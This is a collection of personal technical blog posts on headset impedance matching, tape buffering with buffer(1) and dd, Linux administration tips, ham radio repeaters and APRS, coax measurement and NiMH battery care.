A Military Aviation headset will typically use a low-impedance dynamic microphone and one or more low-impedance earphones. This type of microphone does NOT require a DC bias voltage, nor should one be provided for the microphone, nor is a DC bias voltage expected. These microphones typically have low impedances; five ohms is not unheard of and rather common. Impedances may be up to 50 ohms or so. The earphones are much more conventional, 4 ohms to 16 ohms, wired appropriately to arrive at about 8 ohms.

In summary:

PC style headset:
Mic Load: ~18 Kohms
Mic Impedance: ~10 to 40+ Kohms
Earphones, stereo: 8 to 32 ohms each
Tip: Mic
Ring: Mic Bias Voltage
Sleeve: Mic return

GA headset:
Mic Load: 50 to 600 ohms
Mic Impedance: 50 ohms
Earphones, mono: 150 - 600 ohms, typically wired to 150 - 300 ohms

Military headset:
Mic Load: ~5 - 50 ohms
Mic Impedance: ~ 5 - 8 ohms
Earphones, mono: 4 - 32 ohms, typically wired to 8 ohms.

The military headset can be wired directly to a 3.5 mm plug and connected to a computer. The microphone side will require a transformer to convert the impedance, and a blocking capacitor to keep DC from going through the transformer coil and magnetizing it.

The General Aviation headset can be interface with by using common audio interface methods associated with telephony. Most telephone interface equipment expects a nominal impedance of 600 ohms. Older audio equipment may use this impedance as well for "line" connections. Most "line" inputs today are 10 Kohm or higher.

 DC blocking capacitors are a must (0.068 uF, 0.1 uF and/or 1uF) as well as RF bypass capacitors. Motorola has used 1500uF capacitors on the output of bridged audio amplifiers. Values such as 10uF may cause filter effects to the audio. Remember that audio distortion is comprised of even and/or odd harmonics of the fundamental. Therefore, filtering above 5KHz will not cause problems for your audio in either direction. The RC formula for resonance (Xc) will give the resulting curve.

There are a lot of transformers to choose from on the surplus market and from electronics houses. A transformer that goes from 1 Kohms to 8 ohms is the same as a transformer that goes from 625 ohms to 5 ohms. Similarly, some 600-ohm transformers, repeat coils, and older microphone / audio transformers can be wired to go from 50, 150, 250, 300, 500, 600, or 1200 ohms.

The important thing to keep in mind is the turns ratio. A transformer with a 1 Kohm primary and an 8 ohm secondary is also equivalent to a 625 ohm primary and a 5 ohm secondary (125:1). Likewise, a center-tapped 600-ohm transformer primary can be connected as two 300-ohm windings in series, however the phasing of those windings determines how they can be used. Two independent windings that make up 600 ohms can be placed in parallel with each other, giving 150 ohms.  Don't worry about power handling capability since most headphones and ears can't take more than about a half-watt of power without taking damage. Two of these transformers, coupled one after the other from low impedance to high impedance to low impedance to high-impedance should transform from 5 ohms to 312.5 ohms to about 39062.5 ohms, which should be enough to interface with any modern gear.

There are small audio transformers that can be obtained from the parts houses. I recommend checking with Mouser, Jameco, All Electronics, Surplus Sales of Nebraska, Fair Radio Sales, Electronics Goldmine, Electronic Surplus, Mendelson's, and any other outlets you may be able to locate for surplus equipment.

Don't go audiophile to the nth degree on this one. Audio is rather forgiving, and transformers and capacitors are the only way out. A low-impedance dynamic microphone behaves just like the element in a ribbon microphone (which is often in the milliohms). A transformer will work best here. These headsets were only designed to do 300 - 4000 Hz for voice. Some were designed for loud environments, and function well there. They were not designed for HiFi audio. Don't worry about audio response above 5KHz.

Crystal mics and carbon mics are another topic altogether. If there is interest, I will try to cover them here.

If you need more information or don't understand something, feel free to email me at the address given in the registration information for this domain.

buffer, or writing to tape more efficiently

During a recent recovery project, I found myself using dd(1) to copy hard drive images to a tape drive. Due to the speed/generation of the tape drive and the overall abysmal I/O performance of the PC (~34 MB/s), the tape drive, capable of 120 - 140 MB/s to tape and upwards of 200 MB/s when compressing data on the fly, was constantly shoe-shining the tape -- or worse -- and strange things were happening to the drive such as constant retensioning and eject/reload cycles.  I run a quick web search, and found that there is a utility named buffer available on some Linux distributions to buffer to tape drives using Shared Memory.

Due to distro specific kernel parameters, it was necessary to reset the kernel's shared memory parameters.

For reference:

First, one must determine the page size:
# getconf PAGE_SIZE
Then check to see what the limits are:

# sysctl -a | grep -E "shmall|shmmax"
kernel.shmall = 2097152 kernel.shmmax = 33554432
Explanation of cryptic names:

kernel.shmall: Maximum total size of shared memory in pages (normally 4096 bytes)
kernel.shmmax: Maximum size of shared memory segment in bytes

Next, the limit should be moved up in /etc/sysctl.conf.

# echo "kernel.shmmax = 2147483648" >> /etc/sysctl.conf
Finally, issue 'sysctl -p' to force re-reading of /etc/sysctl.conf and to make the parameters effective.

# sysctl -p
kernel.shmmax = 134217728
Since buffer(1) was run was the root user, ulimit was not a factor.  buffer(1) has a hard buffer size limit of one gigabyte. The limit is a combination of 2048 blocks of 512 kB each. 512 kB is the largest blocksize buffer can deal with, and it has a limit of 2048 blocks. Much like dd(1), buffer(1) supports multiple blocksizes up to 512kB. Typically hard drive performance maxes out at 64 kB and above. This is because historically the maximum size of a DMA transfer was 64 kB. Transfers of larger blocksizes will be broken into smaller blocks as necessary by the kernel, but smaller blocksizes will result in poor performance. In order to buffer the maximum amount possible, it is necessary to use 2048 blocks of 512 kB. A 512 kB block is still larger than the default blocksize for tar, which is 10 kB.

# buffer -i /dev/sdX -o /dev/nst0 -S 512m -s 512k -b 2048 -m 1025m -p 80 -u 100 -B -t -d
debugging turned on
buffer: setting handlers
buffer pbuffer is 0x7ff6721c5000, buffer_size is 1073774623 [2048 x 524288]
R: Entering reader
buffer (writer): setting handlers
W: Entering writer
blocks = 2048
maxfilled = 1638
186122240K, 33944K/s
buffer (writer): write of data failed: No space left on device
bytes to write=524288, bytes written=-1, total written 430263808K
buffer (reader): removing semaphores and buffer
writer died badly: 0xff00
An explanation of options:
-i: input device or file
-o: output device or file
-S: after this many blocks are transferred print a status line with throughput (consider that some tapes have a gigabyte capacity in the hundreds and thousands)
-s: blocksize
-b: number of blocks
-m: memory to allocate (optional, but must be larger than actually memory used)
-p: percent of buffer full to start writing to output device
-u: sleep X microseconds after write to allow tape drive to settle
-B: pad out partial blocks to full blocksize; should only matter for last block written.
-t: print total bytes written to stderr on exit
-d: print debugging information

To translate the KB written into dd-ese, divide the amount written by the blocksize. Note that you can use dd before buffer to block data from a different size, for instance 64K blocks. In this case, one would divide 430263808K by 64K, giving 6722872. Then one need only execute:

dd if=/dev/sdX skip=6722872 bs=64k | buffer  -o /dev/nst0 -S 512m -s 512k -b 2048 -m 1025m -p 100 -u 100 -B -t -d

Here I've reset the buffer highwatermark to start writing at to 100%; I'm not worried about the amount of time lost pulling data from USB, as it's important to keep the tape drive streaming if possible.

Using buffer improves throughput on most modern tape drives, particularly if the drive has difficulty adjusting to data as presented by the kernel. A modern LTO4 tape drive only has a buffer of 32 MB, which during tape writes at high speed is a fraction of a second. By comparison, striping over multiple hard drives would be necessary to sustain the write capabilities of this tape drive.

I miss having an AMI MegaRAID 493 with a single 128MB 72-pin SIMM on it. PCI bus bandwidth being 133MB/s, the operating system would report a speed of 128MB/s for the first second, then fall off as the controller started writing. In comparison, this would be equivalent to having a smart caching disk controller with one-quarter of the RAM of the system installed to as much RAM as the system has installed.   

sshd, X-Windows, and IPv6


If you find that xauth (ssh -X -Y) over ssh isn't working on RHEL or CentOS6, look for a disabled IPv6 system with the ipv6 module loaded. Make sure the module is disabled from loading by putting:

options ipv6 disable = 1

into /etc/modprobe.conf or /etc/modprobe.d/<filename>. 

Public Electric Car Chargers

The power costs associated with public electric car chargers is fairly low; the infrastructure to support charging stands is not cheap, however.

The copper wire costs a bit, and the density is small. Additionally, due to the installation of the wiring in a public place, security must be provided to prevent damage. The stands themselves must incorporate safety features as well as a metering/authentication interface.

Were I looking to implement a public car charger system, I would be providing 20A 120V outlets and 208V or 240V 30A outlets.

Common datacenter PDUs provide the sort of metering interface necessary, and support single leg, dual leg, and three leg monitoring pickups. The same PDUs have internal circuit breakers, providing a manual or secondary means of protecting the circuit. It is assumed that a circuit breaker would be present at the service location for the end user to manually enable the power. Remotely operable circuit breakers may be used as well; these type of breakers are commonly used in remote controlled electric meters by public utilities.

One cannot assume that a breaker externally available to the end-user would not be held in the closed position in the event of a failure. A desperate customer may attempt to charge a car even if the current pulled through the circuit would exceed the protection ratings. Furthermore, one must also consider if the user would attempt to connect two 120V outlets from adjoining stands to get 208-240V for a higher power charger. While it is possible to do so, it would be a NEC violation.

I would implement the 120V connections as a grounded-wye configuration, and provide the 240V outlets as a grounded-wye from a 240V/416V wye transformer. This provides 240V, maximizing the available power through the circuit, while providing a common, single-phase interface at a compatible voltage to what may be delivered in the home.

A common denominator of a connector is needed as a standard charging interface. Tesla appears to have solved this.

Atmospheric Microwave Fading


Everything you ever wanted to know about atmospheric diffraction of microwave signals.


This report, paid for by your tax dollars, details a survey done over open water to see where the RF goes during certain atmospheric conditions. The link used four receive dishes connected to a multiple-input diversity combiner system and the results cataloged. I highly recommend reading this paper if you do anything connected with radio communication. The golden nugget to understand here is my long title listed above. The refractive index of the atmosphere changes, and as it changes, the path available for RF changes from the transmit site to the receive site, necessitating multiple receive locations and associated wiring. Of course, all of this wraps together to increase the availability of the communications link or circuit and results in less expensive downtime.

Local copy: http://blog.catonic.us/kirby/Reference/90-256_ocr.pdf

LSI MegaRaid Quickstart on Linux

Install some variant of MegaCli from RPM.

cd /opt/MegaRAID/MegaCli
./MegaCli64 -AdpAllInfo  -aAll
./MegaCli64 -LDInfo -LAll -aAll
./MegaCli64 -PDList -aAll

Cross-correlate as necessary.

See also: http://hwraid.le-vert.net/wiki/LSIMegaRAIDSAS

What to do when you can't get a repeater pair

Today I became aware of an additional FM repeater pair available to ham radio operators, but it comes with a caveat of not using a standard offset. Hams, unless heavily encouraged, tend to avoid repeaters with odd spits. In Alabama, we have had several in the last twenty years, three of them in Huntsville:

Name / TX / RX
W4CFI 147.415 146.415 or 146.416
MSFCARC 147.460 146.460
KC4HRX 147.505 146.505

The 147.415 repeater is on the air, but has a slightly less or slightly more offset due to interference on the 1MHz "split". 147.505 is on the air and operational, part of a three repeater linked system covering most of the Huntsville area. MSFCARC's VHF repeater was taken out of service years ago.

In places where 70cm FM pairs are in short supply, a FM repeater can (but not necessarily may) be installed in the TV segment of the 70cm band (420-450MHz) if there is not an existing repeater present -- or even if there is. The repeater may be designed to require CTCSS to prevent "interference" from the co-channel users, but CTCSS may not be required if other methods of isolation are used, including physical separation between repeaters. Since ATV normally uses horizontal polarization and FM repeaters commonly use vertical polarization, this provides additional isolation, depending on the antennas selected and antenna mounting locations, as well as the access method required to make the ATV repeater repeat.

CATV Audio carriers in the 70cm band:
Ch 57 425.75
Ch 58 431.75
Ch 59 437.75
Ch 60 443.75
Ch 61 449.75

Each CATV audio carrier is 6MHz from the previous or next one. If user is transmitting at channel 60 to a repeater input and receiving a repeater output at Channel 57, the split is +18MHz from the user perspective. Many of the cheap Chinese-made radios (like the $30 Baofeng UV-5R) will easily handle such a split; some commercial radios may be able to as well. For a ham rig, it may require more than a few minutes with CHIRP (free / open-source radio programming software) and/or the radio's manual to program a channel with a split of 18MHz.

An 18MHz split FM repeater should be implementable without an interdigital filter, possibly without cavity filters. A pair of sharp bandpass cavities would be appropriate for the FM repeater, but a 6MHz ATV repeater will require the interdigital and vestigial sideband filters by nature.  If the ATV repeater was implemented as a 6MHz-wide linear transponder (like HARC/TVATV's was or is), the transponder may be used to repeat data using a Xagyl or Doodle Labs fractional OFDM/802.11g Atheros cards (built-in 420MHz transverter) in the 5MHz wide mode at 1-6Mbit/s or so.  A FM repeater could still be installed by using cross-polarization, but both repeaters would require hardline, and the maximum cross-polarization isolation would likely be 20dB, possibly approaching 27 or 30dB or more depending on the antenna(s) and implementation.

Interference between repeaters would largely be a function of transmitter power and the FM capture effect. As long as one carrier at 12dB or greater than the other can be maintained, only one signal should be apparent to the user. Cross polarization would help here, as there is about -3dB of attenuation with linear polarizations versus circular polarizations, and often up to 20dB or more for orthogonal modes. If vertical and horizontal separation is used -- perhaps even shielding around the antenna with a non-corroding metal, such as aluminum or stainless steel, depending on the different antenna types in use -- then 20dB or more so should be certain.

This implementation idea may be of more use for a data mode vs a data mode over the air. That is to say, a digital TV mode such as 8PSK, ATSC, OFDM, QAM, or other complex modulation (spread over 6MHz) comprising the signal in one polarization, and a FM-based FSK, GMSK, PSK, QAM or OFDM signal in the other polarization. Energy over noise temperature or Eb/N0 will provide the best estimates from the modelling side as to required signal-to-noise ratios for each modulation type.  Of course, FM vs FM interference is has a predictable result, as we've heard on two meters when two users simultaneously transmit to the a repeater.

Another plus of this concept is that one can put those "Federal Split" (403-435MHz) FM radios to use for one side of the repeater, and the more familiar UHF business band (440- or 450- 470MHz) radios for the other. The radio, by design, will be naturally less sensitive at -/+10MHz outside of the operating or design limits, and the transmitter harmonic filter will also attenuate energy that could cause desense to the receiver. For certain radios, this may be enough isolation to allow external filter-less implementation -- provided the RX filter doesn't melt down and is properly phased (one half-wave) from the combination point to minimize VSWR issues to the transmitter.

The military guidance from a publicly available Army communications manual says to use different polarizations, as much physical separation as possible in both vertical and horizontal space between antennas, and not less than 10MHz separation between adjacent radio frequencies. But then again, the military does very different things with it's radio systems, including running secure voice circuits over AM, SSB, or FM radio signals, and the modern radios support that capability with a single cable that runs between radios.

Strange, and unorthodox, this capability to implement such a repeater has been available for several years now and seldom if ever has it been taken advantage of. Thank you for reading, and thanks in advance for any feedback or comments.

Nagios Service Check Suppression



Nagios: How to suppress notifications when host goes down.

There are two ways to avoid extra notifications of services when host goes down.

1. Configure ping (use check-host-alive) as the host check, when the host is unreachable, the notifications for the services will not be sent.

2. Can have service dependency configuration file like this,
define servicedependency {
hostgroup_name all_servers
service_description ping check
dependent_hostgroup_name all_servers
dependent_service_description *
execution_failure_criteria w,c
notification_failure_criteria w,u,c

Problem: This should be built into the very core of the software! I assumed it had been. I've learned otherwise.

Full-duplex Bit-regenerating 1200 bps Packet Radio Repeater

I am not the author of what follows; this is a screen-scrape of his website.


The VE6PAX Project

In 1989 I decided to put together a 1200 baud duplex (repeater) bit regenerator for packet radio. It was to regenerate packet tones in real time unlike a digi-peater that uses a TNC and a simplex radio. Here is a block diagram of the repeater.

The repeater was an experiment as at the time I was unaware of any other existing. I acquired a non-unified Motorola Micor repeater that was taken out of service for being unreliable. In fairness to the Micor, it was not installed in a very good environment. The Micor was a VHF high split (162 to 174 MHz) radio that had to be brought down to 145 MHz. Anyone who has changed the operating frequency of a Micor to work well out of it designed operating range knows what is involved. Another problem was that it did not work when I got it.

The Micor was covered with greasy carbon dust from nearby elevator motors when it was removed from commercial service. The circuit boards and back plane were removed and cleaned up in the laundry room sink. The RF power amplifier was repaired and parts changed to work at 145 MHz. Parts were also changed on the exciter board and receiver including the replacement of the receiver helical resonator coils.

The packet tones were regenerated using a General Data Comm 202 modem model GDC 202-T looped back at the RS232 level. This particular modem had true data carrier detect and the DCD was used to key the transmitter. All 202 modems are not the same, for example, the Motorola (MDS) 202T modem will produce a DCD with just receiver (un-squelch) noise. Un-squelched audio is required to speed up the transmitter key-up time.

I used a Morse ID card from a Motorola MSR2000 station and configured it to ID every 30 minutes. It was also to be used for some basic troubleshooting if required. The ID's in these cards were programmed in using a fusible link prom. Fortunately 2 call signs can be programmed into each prom (note) and if an old card became available it would almost always have room for another call sign.

Basic "over the air" control of the repeater was used. A tone module built for this type of station and originally design to be operated by wireline was modified to work over the air. Its function was simply to enable or disable the transmitter. Care was take so that the transmitter would power up enabled should the AC power fail and return. Enabling the transmitter remotely would force an ID indicating that the transmitter was indeed enabled.

A time out timer card was used in an unusual way. Should any continuous signal (packet or not) be present at the repeater input for more than a certain period of time (jumper selectable) the timer card would time out and force a Morse ID and the card would then reset. It would not disable the transmitter. If the signal persisted, the ID would then again be initiated. The repeater would then ID frequently under this condition. The repeater does not pass audio like a regular ham repeater. It would only regenerate valid packet tones. If there were an interfering signal on the input it would not be heard unless it was a valid packet tone and in that case the repeater would regenerate it. This approach would still allow the repeater to work with degraded performance and also indicate that there was an interfering signal on the input.

A goal was to reduce the transmitter key-up time to as little as practical. This was to help reduce packet collisions. One of two things would happen during a packet collision. Neither signal would get through (assuming only 2 stations were involved) or the station with a much strong signal would get through. Packet radio works using the Carrier Sense Multiple Access approach, that is, if a station is transmitting every other station on frequency waits their turn. If a station thinks the channel is clear because the repeater is in the process of still keying up, a packet collision may occur. See the attached timing chart. I settled on a 30 to 35 millisecond key-up time. Fifteen milliseconds of this were caused by the modem determining if valid packet tones were present and producing DCD. I experimented by just keying the RF power amplifier. This virtually eliminated the station key up delay and just leaving the modem DCD delay. A problem was that the exciter signal would leak through the PA and produce a -30 dBm signal at the antenna output, not much of a signal but it was still there.

The repeater was to go on to a commercial site that shared antennas with different users. I used Sinclair C2037 multicouplers for RF filtering, one for the transmitter and one for the receiver. They consist of 4-quarter wave cavities each. The multicouplers I had were originally tuned around 165 MHz and I built up new cable harnesses to be compatible with 145 MHz. With this amount of filtering the repeater could have been installed on one antenna but 2 were available and I used one antenna for transmit and the other for receive.

The repeater was in operation for fourteen and a half years and proved to be very reliable and had high usage in the early years. After a number of years, the traditional usage of packet radio fell off and so did the activity on the repeater. Simplex backbones were being replaced by APRS nodes and packet radio BBS's got little use. By 2004 the main use of the repeater was for a DX Cluster. A six-month noticed was given that the repeater was to be taken off the air. I cleared up loose ends by tuning up and provided a high quality commercial radio for the DX cluster owner who installed the radio in a good location.

The VE6PAX effort did not go unnoticed. The Calgary Amateur Radio Association acknowledged the effort with a Merit Award and a Letter of Appreciation.

Photos of the VE6PAX repeater can be seen elsewhere on this website.

UPDATE: February 24, 2008

We removed the VE6PAX repeater along with the Sinclair C2037 multicouplers from the commercial site it was on in the summer of 2007. I re-installed the repeater components in the original Motorola Micor cabinet and converted it back to a voice repeater. Interfacing circuitry was added in the event that it may become part of some future linking project. The repeater works very well and was operational temporarily at my home location on 145.150 MHz -0.600 to confirm it reliability. At the same time I built up what is essentially a Sinclair Q202G duplexer using 4 Sinclair FQ cavity filters I had on hand. I used a Sinclair rack panel and mounting components when assembling the duplexer. At this time the repeater is not in service.

Compressors, Limiters, Audio Oh My!

These are excellent resources from THAT about all forms of audio amplification, compression, limiting, etc.:


If you're doing anything with audio, I recommend checking these out.

Plantronics Headset Quick Overview

I suppose part of growing older is re-experiencing some memories for the sake of sating some feelings of nostalgia. Growing up in Rocket City, USA, for me these are things I ran into around Marshall Space Flight Center (MSFC). Things like telephone headsets with push-to-talk buttons, seen the world around as mission controllers talked to each other on television, and the Motorola Saber (III), a solid chunk of a two-way radio that could be carried and talked on for an entire eight hour shift. Back to those headsets....

The standard series of headset that I'm familiar with -- mostly by touch, recognition, and use, not intimately familiar with -- is the H-series, particularly the H41 and the H51. Both use the same clear "speaking tube", however the H41 does not have a "headset" feel where the outside of the earphone rests on the ear. The H41 has a plastic support below which the earphone pivots to direct sound at the ear. Both headsets have the standard Plantronics headset plug, which also functions as a strain-relief point for the wearer. The H-series is designed to be used with an external interface/amplifier box in the case of telephony use. The amplifier box may have a name like "Vista" or a letter/number code like "M10" or "M22". The P-series is designed to be terminated into a RJ-22 plug and connected directly to a telephone featuring an internal amplifier. The H51 is the "standard" single headphone variety; the H61 has two earpieces, but is monophonic.The "N" suffixed models (i.e.: H51N, H61N, P51N, P61N) do not have the clear "speaking tube"; those models have a noise-cancelling microphone at the end of a tiny flexible metal tube.

A standard feature of the H-series combined with the M-series amplifier is that of a noise gate on transmitted audio. In the era before cell phones, the loss of "sidetone" -- sound echoed back to the user as a reference for how loud the person was -- was indicative of a disconnected circuit. Likewise, if there is little noise at the transmitting point, the headset interface will turn off the microphone input, causing the circuit to go completely silent. In situations where several users may be communicating together over the same conference bridge (or conference call), the lack of additive noise was greatly appreciated. This was equipment designed by people who thought about the problem and fixed it the right way.

The M22 Vista is the current model of amplifier/adapter box for telephones. For PTT use, the CA12CD provides cordless connectivity with a standard QD / dual Bantam jack interface. For wired PTT use, the SSP1051-xx may be used for 4-wire connectivity; it has a QD connector for the headset and for the connected device (telephone, etc.).  The SHS1890-xx provides the dual Bantam plug (WE-425 or PJ-7) interface used in 6-wire connectivity or dispatch environments. The -xx denotes the length of cable in feet; -10, -15, and -25 are typical for the SHS, but the SSP suffix of -03 indicates a ten foot cord.

The console interface port of the CA12CD is a standard RJ11 six-position plug: 68331-01 - CA12CD Console Interface Cable

Trivia: The MS50 headset was the type used during Apollo-era NASA; it was the same headset type that transmitted Neil Armstrong's words: "It's one small step for man, but one giant leap for mankind." Judging from the pictures, it was a somewhat modified type. Also, the MS50 doesn't have an earpiece (unlike the MS30).

RedHat Enterprise Linux and NFS Mounts

In a recent review of a system, something jumped out at us:

dr-xr-xr-x.   5 root root     3072 Jun 22 06:24 boot
d??????????   ? ?    ?           ?            ? nfsdir
drwxr-xr-x.  18 root root     3820 Jul 19 12:00 dev

This made utterly no sense. Assuming we had filesystem damage, we made preparations to bring the server down and run fsck(8) to repair the filesystem.

Then another admin decided to remount the filesystem, ordinarily used for NFS, at which point, the ownership/permission information reappeared. The root cause was determined to be a stale NFS mount. Well, problem solved. I wish they were all this easy.

Measuring Coax Length

I had a bundle of coax of some known type but an unknown length. I knew the previous application of the coax -- it had been used to connect from inside the car to the trunk of the car or to the roof. Noticing a part of the coax marked with silicone caulk, I knew exactly where that part had been in the vehicle in relation to everything else. Of note, the coax has one connector installed, and the other end of the coax is unterminated.

I measured the coax using a MFJ-269 Antenna Analyzer, carefully tuning up through the HF bands to find a point of resonance. I didn't find one, but I did note a large, slow sweep area where R (resistance) was approaching zero at the same time that X (Reactance) was approaching 50-ohms. At 35.210 MHz, I noted that the RG-58 had a Rs of 0 and a Xs of 50, and an infinite SWR. However, this was not the "reflected" short I was expecting to see at the opposite end of 1/4-wave of an open-circuit coaxial stub. What I later realized upon reading is that the conditions I observed are indicative of a perfectly inductive match, with zero power transferred to the load. At any rate, I had a few known figures:

Around 7.66MHz, I noted a Rs=1 and Xs=0. At 23.403, I noted Rs=2 and Xs=1. These were the minimum voltage points of the VSWR (a dead short can have no voltage present). 23.403 is within a few percent of 3 * 7.66.

Some sort of resonance at 7.66MHz and 23.4MHz.

Velocity factor of 0.66% -- both assumed and verified at the manufacturer's website.

At 7.66 MHz, the wavelength is 128.4 ft or 32.1 ft per quarter-wave; at 23.403 it is 42.028 feet or 10.507 per quarter-wave. So we know that the coax is electrically some common factor of these two lengths, likely related to multiples of 1/4-wave but not 1/2-wavelengths.

Right away we can see that 10.5 * 3 = 31.5, which is 3/4 wave at 23.4MHz and 1/4 wave at 7.66MHz. But the coax will not be that long; it will be 0.66 times the length because of the velocity factor. 31.5 feet * .66 = 20.79 feet.

Which is approximately the actual length of the cable, which I later measured to verify this post.

Linux Ethernet Card Probe Order

With PCI ethernet cards, probe order is no longer important, so what Linux has gone to is reordering the user-apparent device from the original device. If you use either of these methods listed on a single ethernet card, the other ethernet cards will change name to ethX_renamed, so it is important to list all ethernet cards in the system at that time.

In the event that a CentOS, RHEL or Oracle Linux system doesn't probe Ethernet cards in the order desired:

a) edit /etc/modprobe.conf and add:

alias netdev-eth0 eth0
alias netdev-eth1 eth1
alias netdev-eth2 eth2
alias netdev-eth3 eth3

Or B) create a file in /etc/modprobe.d/ named "<something>.cfg" containing:

alias netdev-eth0 eth0
alias netdev-eth1 eth1
alias netdev-eth2 eth2
alias netdev-eth3 eth3

Reorder the Ethernet cards as required (netdev-ethX is the actual Ethernet card, ethX is the system named device). Check /etc/sysconfig/network-scripts/ifcfg-eth?.cfg for mentions of hardware addresses.

Set ONBOOT=no for Ethernet cards not used on boot or deactivated.
HWADDR may be commented out, but should be set to the correct address for the Ethernet card.


Smith Charts

Yea, though I walk through the valley of impedance mismatch, I will fear no VSWR: for thy Smith Chart are with me; thy Xc+Xl and thy 0+j, they comfort me.

Current Mirrors






APRS Resources

AGWPE: soundcard packet, AND a TNC multiplexer. You can chain multiple TNCs together running XKISS/G8BPQ KISS over serial and make them available to AGWPE aware programs such as YAAC, etc:


http://www.qsl.net/lu7did/ (turn on Javascript for menu)
LU7DID has written Digiplex, which:

Digiplex is a multi-purpose routing engine aimed to work with the AGW Packet Engine by SV2AGW.

Some of it's features are:

  • A cross-band AX.25 L2 Smart Digipeater (SMART).
  • A NETROM router (ROUTE).
  • An APRS enabled digipeater (APRS).
  • A high performance router with hop-to-hop ack (DIGIPLEX).

It's intended to interoperate with other network infrastructure components such as NETROM nodes and digipeaters present on your LAN but based on other platforms.

Also it features other functions such as Telnet remote access, a build-in Web server, the capability to define "managed applications" to be accessed thru it and more...

The program is in the process to be developed with upgrades being continually released as part of the beta process.

You could also see the documentation directly, or could also get the most updated version of Digiplex here.

YAAC, Yet Another APRS Client

Supports serial, KISS, AGWPE, GPS (NMEA-0183), and APRS-IS TCP/IP connections
Can function as a view/messaging terminal, uses OpenStreetMaps (http://www.openstreetmap.org/) for mapping support; can also act as an IGate and/or Digipeater.

Like Shuttle Radar Telemetry Mission (SRTM), it's a good idea to set aside some time and disk space to download everything and then copy over what you need or want. YAAC takes a while to import the maps, and there are several gigabytes of maps available at OpenStreetMaps.

Tracker3 (previously OpenTracker3/OT3m):

Per http://wiki.argentdata.com/index.php?title=Tracker3:
It is based on the Freescale MCF51JM128 microcontroller, with a 32-bit ColdFire CPU core running at 48 MHz.

The Tracker3 supports talking directly to the Garmin nuvi 350 using the Garmin Data Cable / FMI from Argent Data Systems; it doesn't require a GTRANS cable to do so. However, it's best to get/build the dual serial cable to take advantage of the capabilities of the Tracker3; then the FMI cable can be attached to the GPS and the remaining serial port used for KISS interfacing to a PC. The Tracker3 can operate as a digipeater concurrent to most other tasks. However, remember that at some point you will run out of MHz to spare if you turn everything on.

Using the Tracker3, it is possible to build a combined Digipeater and IGate. If the PC should fail, the Digipeater (Tracker3) will continue to run without it. This also lowers the overhead for the PC, as it does not have to monitor and repeat every single packet coming in the serial port.

Motorola Systems 9000 Siren Transistors

HLN1184 / HLN1185

HLN1184 uses a 949.2 bps data stream to talk to the radio; the HLN1185 uses a 9600 bps data stream. The HLN1185 uses a differential communications scheme similar to RS-422 but closer to RS-485. The difference is an added differentially signaled "BUSY" line, which is used for arbitration between devices on the bus; the bus (Systems 9000) is used half-duplex, so a sending unit can sense a collision and resend. Kinda like ethernet implemented over 9600 bps serial....

HLN1185: 4.9152 MHz CPU clock 9600 bps; bus+, bus-, bus busy, CSMA/CD
HLN1184: 3.8888 MHz CPU clock 949.2 bps; bus+, bus -, CSMA/CD

NPN: 2N5302 / Motorola 9698 / 48-869698 / 48-00869698 / 4800869698

PNP: 2N4399 / Motorola 8243 / 48-80182D43 / possibly 4880182D43

If you're looking for this information, you're welcome.

If you're just wondering, they are:

Max Vce: 60V
Max Ic: 30A
Max Ib: 7.5A
Typical DC gain: 15
Small signal gain: 40


Datasheets from some archive site; Syntor X9000 Siren/PA Manual from Repeater-Builder.

Local copies:
Motorola 2N4399.pdf
Motorola 2N5302.pdf

If you want more information about Motorola Systems 9000, search Motorola's patent portfolio at Google Patents.

High Altitude Balloon Resources

Here's a list of high-altitude ballooning resources for hams and others:


Bill Brown, WB8ELK

Amateur Radio High Altitude Ballooning
ARHAB, a hub site http://arhab.org/

Beyond62 -- recently sent a GoPro Camera up

N1VG sent up a balloon and documented it:


http://diydrones.com/forum/topics/gps-module-for-high-altitude?xg_source=activity GPS and other caveats mentioned in the comments.

GPS, or crossing the 60kft limit:

http://www.byonics.com/tinytrak/gps.php GPSs for sale at Byonics
https://www.argentdata.com/catalog/index.php?cPath=23 GPSs for sale at Argent Data Systems


The WhereAVR

Arduino TNC:

TinyTrak3 (TT3):
A small PIC device for taking GPS data and turning it into packets and audio that connects to an existing radio.

TinyTrak4 (TT4):
An updated version of the above with more features, and features yet to be added.

A single device that contains the transmitter and tracker portion; just add GPS.

A similar tracker to the TinyTrak3.

A similar tracker to the TinyTrak4; with a GTRANS cable can communicate with the GPS, but with certain firmware just the data cable (Mini-B) is needed to communicate with a Garmin nuvi 350.

The Trackr3 line is capable of a lot, as is the TT4. However, the nuvi 350 is not recommended for high-altitude work. The nuvi 350, OT3, and data cable make an excellent mobile tracking station, however. The nuvi 350 must be powered through a cradle. The cradle has a mini-USB connector on the back of it which must be attached to power; the data cable connects to a USB port on the side of the GPS.

Cheap Chinese Handheld Radios:


There are other thins to think about, such as insulation, RADAR reflectivity, battery temperature, etc.

As temperature goes down, battery capacity drops as well. Therefore more batteries may be needed, or the batteries may require additional insulation. Several sheets of thick polystyrene may be formed into pouches and placed over the battery pack. Alternatively, one could wrap the battery pack in several Ziploc-style freezer bags. Attempting to heat the battery pack would be complex, and require a method of applying the heat while monitoring the temperature to prevent cooking the batteries. Also, one must remove all of the insulation from the batteries during charging or the heat will damage the batteries.

For weight reasons, Lithium Polymer (LiPo or LiPoly) batteries are recommended.

For ruggedization and thermal extremes, soldering all connections practical is recommended as well.

All About NiMH Batteries


Everything you ever wanted to know about NiMH batteries but didn't even know what questions to ask.

First, there's the Wikipedia page on NiMH batteries:


Then there's the 2011 Panasonic Handbook on NiMH battery charging, use, and discharging. This is an excellent resource I highly recommend you read if you have an understanding of electronics and own anything with NiMH batteries in it:

http://industrial.panasonic.com/eu/i/21291/Handbook2011/Handbook2011.pdf [Local copy]

Energizer has some guidance as well, but I feel like the Panasonic Handbook is a better, more informative document.


Microchip has a reference design for a NiMH charger chip they manufacture:


And Freescale has a design using a microcontroller as well:


Due to self-discharge, the battery naturally loses charge over time. It is recommended that the battery be charged at least once a year to prevent cell voltage from dropping low enough that either electrode switch polarity. 

In short, most manufacturers recommend a terminal voltage of 1.0V to 1.1V, but not to discharge to lower than 1.0V per cell. Panasonic suggests that when more than six cells are in a pack, the lower voltage requirement may be moved down slighly; this results in a terminal voltage of 10.8V for a five-cell pack with a nominal voltage of 12V. Conveniently, they also recommend to stop charging when the voltage per cell is at about 1.4V, which works out to 14V for a 12V pack.

The absolutely critical part of using NiMH batteries is charging. The batteries must be charged with a slow, constant current source; rapid charging requires the use of temperature sensors to prevent damaging the cells. Trickle or float charging is verbotten (forbidden)! A typical controlled charging cycle is sixteen hours long or longer.

